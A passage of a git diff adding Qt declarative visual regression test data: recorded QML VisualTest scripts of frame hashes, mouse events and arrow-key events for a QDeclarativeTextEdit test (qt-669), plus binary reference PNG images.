modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6624 + hash: "2b6fd25a47274ffa56c3d0020babfdfc" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 146; y: 96 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6640 + hash: "febcd6b5fc1806ff57d1669c79aa4cb2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 145; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6656 + hash: "5c731fc4a2aeccf55a0af2b7171f25ce" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 145; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6672 + hash: "7d9df9dd9a99eabaa4b426438e44d612" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 144; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6688 + hash: "48278540489142f8a63ed120f4b956c2" + } + Mouse { + type: 5 + button: 0 + buttons: 1 + x: 144; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6704 + hash: "d08abdfb587a7ec07872cb662526b6d8" + } + Frame { + msec: 6720 + image: "cursorDelegate.6.png" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 144; y: 97 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 6736 + hash: "4622738082ac75e00b6c63e846b7e98b" + } + Frame { + msec: 6752 + hash: "87a9f2facbaba462c562f09947bb7ded" + } + Frame { + msec: 6768 + hash: "77e730ece9f195c3627508d1c2a126fc" + } + Frame { + msec: 6784 + hash: "4a02aaca12e3fd86ee3b516b3a307f86" + } + Frame { + msec: 6800 + hash: "0a1c2eb8a7451a5e37fefb96a58a88a1" + } + Frame { + msec: 6816 + hash: "7f2d9959323f0707e36ecb2252c89727" + } + Frame { + msec: 6832 + hash: "3462a3e166120515e67430600e4653f8" + } + Frame { + msec: 6848 + hash: "eac8375d9b9cf0afbf232e27c6ceb037" + } + Frame { + msec: 6864 + hash: "fbefb1e0801f4578ab93dd7ff4062e68" + } + Frame { + msec: 6880 + hash: "078d75d72bff036574b85ac0aeaaf2b6" + } + Frame { + msec: 6896 + hash: "14b328c8ec6276e022643102af80fa44" + } + Frame { + msec: 6912 + hash: "bdcafed4ae9c890eec2e3e0cb2ff5a14" + } + Frame { + msec: 6928 + hash: "df6f025130dc82f4764def81cec5fa7b" + } + Frame { + msec: 6944 + hash: "cf467854dfde9b2111bc6e7e4442aab5" + } + Frame { + msec: 6960 + hash: "cfcdf63ca06c2b9ab197821bc1e48c7c" + } + Frame { + msec: 6976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 6992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 7008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 7024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 7040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 7056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 7072 + hash: "cfcdf63ca06c2b9ab197821bc1e48c7c" + } + Frame { + msec: 7088 + hash: "cf467854dfde9b2111bc6e7e4442aab5" + } + Frame { + msec: 7104 + hash: "df6f025130dc82f4764def81cec5fa7b" + } + Frame { + msec: 7120 + hash: "bdcafed4ae9c890eec2e3e0cb2ff5a14" + } + Frame { + msec: 7136 + hash: "14b328c8ec6276e022643102af80fa44" + } + Frame { + msec: 7152 + hash: "078d75d72bff036574b85ac0aeaaf2b6" + } + Frame { + msec: 7168 + hash: "fbefb1e0801f4578ab93dd7ff4062e68" + } + Frame { + msec: 7184 + hash: "eac8375d9b9cf0afbf232e27c6ceb037" + } + Frame { + msec: 7200 + hash: "3462a3e166120515e67430600e4653f8" + } + Frame { + msec: 7216 + hash: "7f2d9959323f0707e36ecb2252c89727" + } + Frame { + msec: 7232 + hash: "0a1c2eb8a7451a5e37fefb96a58a88a1" + } + Frame { + msec: 7248 + hash: "4a02aaca12e3fd86ee3b516b3a307f86" + } + Frame { + msec: 7264 + hash: "77e730ece9f195c3627508d1c2a126fc" + } + Frame { + msec: 7280 + hash: "87a9f2facbaba462c562f09947bb7ded" + } + Frame { + msec: 7296 + hash: "4622738082ac75e00b6c63e846b7e98b" + } + Frame { + msec: 7312 + hash: "9fcec7616e28cb8317709656fd94f480" + } + Frame { + msec: 7328 + hash: "d08abdfb587a7ec07872cb662526b6d8" + } + Frame { + msec: 7344 + hash: "48278540489142f8a63ed120f4b956c2" + } + Frame { + msec: 7360 + hash: "7d9df9dd9a99eabaa4b426438e44d612" + } + Frame { + msec: 7376 + hash: "5c731fc4a2aeccf55a0af2b7171f25ce" + } + Frame { + msec: 7392 + hash: "febcd6b5fc1806ff57d1669c79aa4cb2" + } + Frame { + msec: 7408 + hash: "4ad2c0877360b0e1bf2212f9455f741e" + } + Frame { + msec: 7424 + hash: "4df1951aac4ed1957925c95e112b0766" + } + Frame { + msec: 7440 + hash: "bfbb624abe63639f2a7cb826b6b47393" + } + Frame { + msec: 7456 + hash: "538cf4ee98145b3801e198b036e24a46" + } + Frame { + msec: 7472 + hash: "5602c039a304ac0b1fd99957970a825b" + } + Frame { + msec: 7488 + hash: "9ddd7709269b9a008e15d942e156e13a" + } + Frame { + msec: 7504 + hash: "91d7c43f5f985d624e77da43ba5fb90f" + } + Frame { + msec: 7520 + hash: "9153b0419d28e3c8137b58f95451cd58" + } + Frame { + msec: 7536 + hash: "c5aad5ea4db81cf72f1ff390ed1dc868" + } + Frame { + msec: 7552 + hash: "47b52ce9e5c705017e94b419b53d20d9" + } + Frame { + msec: 7568 + hash: "f968e3289a2a6343cdb64e37b83f142a" + } + Frame { + msec: 7584 + hash: "6fe898a37b17b6b6fa9a2971b518d185" + } + Frame { + msec: 7600 + hash: "90ced2e487b6e760f2ad2c7d6375a36f" + } + Frame { + msec: 7616 + hash: "b2d87713d12a54d4d7b6fd6ba2671704" + } + Frame { + msec: 7632 + hash: "edce9857bd0e93ab841ae62ffba0149f" + } + Frame { + msec: 7648 + hash: "13ce69facee6bf01c9712db1781c5ef9" + } + Frame { + msec: 7664 + hash: "64924e43e004f0d9e90c23f61813c732" + } + Frame { + msec: 7680 + image: "cursorDelegate.7.png" + } + Frame { + msec: 7696 + hash: "9c384359c664a71b5b6b9f9d62dd38bf" + } + Frame { + msec: 7712 + hash: "5998579d228bcf0efdbcee805796ec23" + } + Frame { + msec: 7728 + hash: "fe69cab70ad5b25f757bc413b895ff94" + } + Mouse { + type: 2 + button: 1 + buttons: 1 + x: 227; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7744 + hash: "1ededcc625a0e9e317c5aefc238a175a" + } + Frame { + msec: 7760 + hash: "460a4cbee55ccdeda1941c8dccf08cbd" + } + Mouse { + type: 3 + button: 1 + buttons: 0 + x: 227; y: 114 + modifiers: 0 + sendToViewport: true + } + Frame { + msec: 7776 + hash: "f1ae53071836512830f7284c4ac884b3" + } + Frame { + msec: 7792 + hash: "f73c2b66b61bdcb080f8be6607079729" + } + Frame { + msec: 7808 + hash: "11da14806fbca5c7cd559286fb5d70ff" + } + Frame { + msec: 7824 + hash: "b3ad82e900925227fb020009ae619d28" + } + Frame { + msec: 7840 + hash: "d8cea4160f0044b09e595610ead01879" + } + Frame { + msec: 7856 + hash: "9c968354773878009af2f176b1e38d42" + } + Frame { + msec: 7872 + hash: "b509c0cdea6b1352ff1e146a8f243820" + } + Frame { + msec: 7888 + hash: "bea9d0338212c01474b25ee637aa8fd0" + } + Frame { + msec: 7904 + hash: "a7f3e07ad0335e2852a156b5a3e1bd3d" + } + Frame { + msec: 7920 + hash: "58e53a9cb886d6d90c0b5987d0693904" + } + Frame { + msec: 7936 + hash: "a3ca6fa1bbc5ca3ff4cf281ae112102d" + } + Frame { + msec: 7952 + hash: "16c38b5dcd8ffbadc533d4fea8a85b0d" + } + Frame { + msec: 7968 + hash: "be488252ce6c39317c33706f7febe7b5" + } + Frame { + msec: 7984 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 8000 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 8016 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 8032 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 8048 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 8064 + hash: "be488252ce6c39317c33706f7febe7b5" + } + Frame { + msec: 8080 + hash: "16c38b5dcd8ffbadc533d4fea8a85b0d" + } + Frame { + msec: 8096 + hash: "a3ca6fa1bbc5ca3ff4cf281ae112102d" + } + Frame { + msec: 8112 + hash: "58e53a9cb886d6d90c0b5987d0693904" + } + Frame { + msec: 8128 + hash: "a7f3e07ad0335e2852a156b5a3e1bd3d" + } + Frame { + msec: 8144 + hash: "bea9d0338212c01474b25ee637aa8fd0" + } + Frame { + msec: 8160 + hash: "b509c0cdea6b1352ff1e146a8f243820" + } + Frame { + msec: 8176 + hash: "9c968354773878009af2f176b1e38d42" + } + Frame { + msec: 8192 + hash: "d8cea4160f0044b09e595610ead01879" + } + Frame { + msec: 8208 + hash: "b3ad82e900925227fb020009ae619d28" + } + Frame { + msec: 8224 + hash: "11da14806fbca5c7cd559286fb5d70ff" + } + Frame { + msec: 8240 + hash: "f73c2b66b61bdcb080f8be6607079729" + } + Frame { + msec: 8256 + hash: "f1ae53071836512830f7284c4ac884b3" + } + Frame { + msec: 8272 + hash: "460a4cbee55ccdeda1941c8dccf08cbd" + } + Frame { + msec: 8288 + hash: "1ededcc625a0e9e317c5aefc238a175a" + } + Frame { + msec: 8304 + hash: "70fe89f9dce556ec1859f325aa27b7db" + } + Frame { + msec: 8320 + hash: "49de92770edb0aae82cf66ae42b31caa" + } + Frame { + msec: 8336 + hash: "705feb098ebb2d689526d9271098d6b5" + } + Frame { + msec: 8352 + hash: "72757a5099748b70241a0d4279e42313" + } + Frame { + msec: 8368 + hash: "7049bee9a984a2c2d3101eb6d3cce31e" + } + Frame { + msec: 8384 + hash: "f33da88ae881c846bd86ab3dc4f12efc" + } + Frame { + msec: 8400 + hash: "a0751fa826b03cb25e615c6a1435d92a" + } + Frame { + msec: 8416 + hash: "d99389a3287d453b942f070d8c1e86e8" + } + Frame { + msec: 8432 + hash: "e3219357e73a2dfd5b80dfbd6feb79e2" + } + Frame { + msec: 8448 + hash: "c0953accd856883c813d4ecf99fb632b" + } + Frame { + msec: 8464 + hash: "185743339cba9dfc1a2c2ff1efd23855" + } + Frame { + msec: 8480 + hash: "30a4419de779037fd84bd70a99c4d6de" + } + Frame { + msec: 8496 + hash: "1d9cbd0814831c518e9e8041fe8285c9" + } + Frame { + msec: 8512 + hash: "81d660df1b0eab7c382991b600f88ba3" + } + Frame { + msec: 8528 + hash: "7ee1467525b9fe3b6a32fba8c2454df1" + } + Frame { + msec: 8544 + hash: "28dd72957652cf130d28d30203b36c59" + } + Frame { + msec: 8560 + hash: "e9697d06a22958cea4f766dd3ec31ca9" + } + Frame { + msec: 8576 + hash: "81970c31a0a1e42929c83ef5140401c2" + } + Frame { + msec: 8592 + hash: "ebb5be43955725bef66bf99bd7288c04" + } + Frame { + msec: 8608 + hash: "afbf0645ea651b2c459eeb43bdc65992" + } + Frame { + msec: 8624 + hash: "42bf6ab3963652617f2feb96ee170af5" + } + Frame { + msec: 8640 + image: "cursorDelegate.8.png" + } + Frame { + msec: 8656 + hash: "4a5966f600f9b27bf7a65fcc6c1c5d17" + } + Frame { + msec: 8672 + hash: "ecdc1d89af1e76648c8298e2b9940549" + } + Frame { + msec: 8688 + hash: "0ba1e105a7ae41926e2106b60eafdec9" + } + Frame { + msec: 8704 + hash: "96e4f277d4ff76afe0c2d58b4aed3acb" + } + Frame { + msec: 8720 + hash: "f41c6fd9e22354b8f5c940c04930a591" + } + Frame { + msec: 8736 + hash: "00b522554cf6c0c09e5425f4d3c3fcf9" + } + Frame { + msec: 8752 + hash: "e8549c0c361f20d167cab128dc996274" + } + Frame { + msec: 8768 + hash: "976c61615250f9bfa3b4c02ee88bee03" + } + Frame { + msec: 8784 + hash: "06c95d2fa5e2b4751e5693b179e76eb4" + } + Frame { + msec: 8800 + hash: "a3d79197235c4717b1f9af3582118ca6" + } + Frame { + msec: 8816 + hash: "68b23db8f519aa161278074aa318eaa1" + } + Frame { + msec: 8832 + hash: "af967462be12d0b6ddd3571b00804c12" + } + Frame { + msec: 8848 + hash: "46f5c0baa2b95fd418984eebe308157e" + } + Frame { + msec: 8864 + hash: "0a7407c6c751b3f1380a99883e95f1dd" + } + Frame { + msec: 8880 + hash: "9969c206488671c45c43f3a3dd3f5994" + } + Frame { + msec: 8896 + hash: "89efa872ce2e71935b47cac101bf15c9" + } + Frame { + msec: 8912 + hash: "a4545a0c50fb071d267b06bf2d114802" + } + Frame { + msec: 8928 + hash: "f4df98459c18399e1c6b2d8a43bdd678" + } + Frame { + msec: 8944 + hash: "027eb091eea8bf51d7ad3ff44120e075" + } + Frame { + msec: 8960 + hash: "138ec35b850d20664f905a4eea6f7456" + } + Frame { + msec: 8976 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 8992 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 9008 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 9024 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 9040 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 9056 + hash: "e165a0b90fdc1eef2c8244ad8545bd6f" + } + Frame { + msec: 9072 + hash: "138ec35b850d20664f905a4eea6f7456" + } + Frame { + msec: 9088 + hash: "027eb091eea8bf51d7ad3ff44120e075" + } + Frame { + msec: 9104 + hash: "f4df98459c18399e1c6b2d8a43bdd678" + } + Frame { + msec: 9120 + hash: "a4545a0c50fb071d267b06bf2d114802" + } + Frame { + msec: 9136 + hash: "89efa872ce2e71935b47cac101bf15c9" + } +} diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.0.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.0.png new file mode 100644 index 0000000..cc1774f Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.0.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.1.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.1.png new file mode 100644 index 0000000..60eba16 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.1.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.2.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.2.png new file mode 100644 index 0000000..d4663f7 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.2.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.3.png b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.3.png new file mode 100644 index 0000000..dc1bb52 Binary files /dev/null and b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.3.png differ diff --git a/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.qml b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.qml new file mode 100644 index 0000000..84c16e1 --- /dev/null +++ b/tests/auto/declarative/qmlvisual/qdeclarativetextedit/data-MAC/qt-669.qml @@ -0,0 +1,1371 @@ +import Qt.VisualTest 4.6 + +VisualTest { + Frame { + msec: 0 + } + Frame { + msec: 16 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 32 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 48 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 64 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 80 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 96 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 112 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 128 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 144 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 160 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 176 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 192 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 208 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 224 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 240 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 256 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 272 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 288 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 304 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 320 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 336 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 352 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 368 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Frame { + msec: 384 + hash: "c043ae4adb31cb53bfc089e7f2ed07b2" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 400 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 416 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 432 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 448 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 464 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 480 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 496 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 512 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Frame { + msec: 528 + hash: "e64c3246a0f81e2df29ac276ac6d411f" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 544 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 560 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 576 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 592 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 608 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 624 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 640 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 656 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Frame { + msec: 672 + hash: "fbc07fa31ab2022f3155bd1fb591fe6c" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 688 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Frame { + msec: 704 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Frame { + msec: 720 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Frame { + msec: 736 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 752 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Frame { + msec: 768 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Frame { + msec: 784 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Frame { + msec: 800 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Frame { + msec: 816 + hash: "c602a6535ef86125615307d9d187eb3f" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 832 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 848 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 864 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 880 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 896 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 912 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 928 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Frame { + msec: 944 + hash: "c186352ed5d1539a45b3c9e1dfa408d6" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 960 + image: "qt-669.0.png" + } + Frame { + msec: 976 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 992 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 1008 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1024 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 1040 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 1056 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 1072 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Frame { + msec: 1088 + hash: "1295bd1d94fe518d5a871e90cab88e0c" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1104 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Frame { + msec: 1120 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Frame { + msec: 1136 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1152 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Frame { + msec: 1168 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Frame { + msec: 1184 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Frame { + msec: 1200 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Frame { + msec: 1216 + hash: "f90403e0b62f9579b5c5f591e75e9eb5" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1232 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 1248 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 1264 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 1280 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1296 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 1312 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 1328 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 1344 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1360 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1376 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1392 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1408 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1424 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1440 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1456 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1472 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1488 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Key { + type: 6 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1504 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1520 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1536 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Key { + type: 7 + key: 16777236 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1552 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1568 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1584 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1600 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1616 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1632 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1648 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1664 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1680 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1696 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1712 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1728 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1744 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1760 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1776 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1792 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1808 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1824 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Frame { + msec: 1840 + hash: "781a5a09fb6c6ca1fd38f63938f9c8d0" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 1856 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1872 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1888 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1904 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1920 + image: "qt-669.1.png" + } + Frame { + msec: 1936 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1952 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1968 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 1984 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2000 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 2016 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 2032 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 2048 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Frame { + msec: 2064 + hash: "2718ab36551a20d36664f26e408f8f24" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2080 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 2096 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 2112 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 2128 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 2144 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Key { + type: 7 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + Frame { + msec: 2160 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 2176 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 2192 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 2208 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Frame { + msec: 2224 + hash: "823ccdc677997c96e4ae16891ffffa77" + } + Key { + type: 6 + key: 16777234 + modifiers: 0 + text: "" + autorep: false + count: 1 + } + 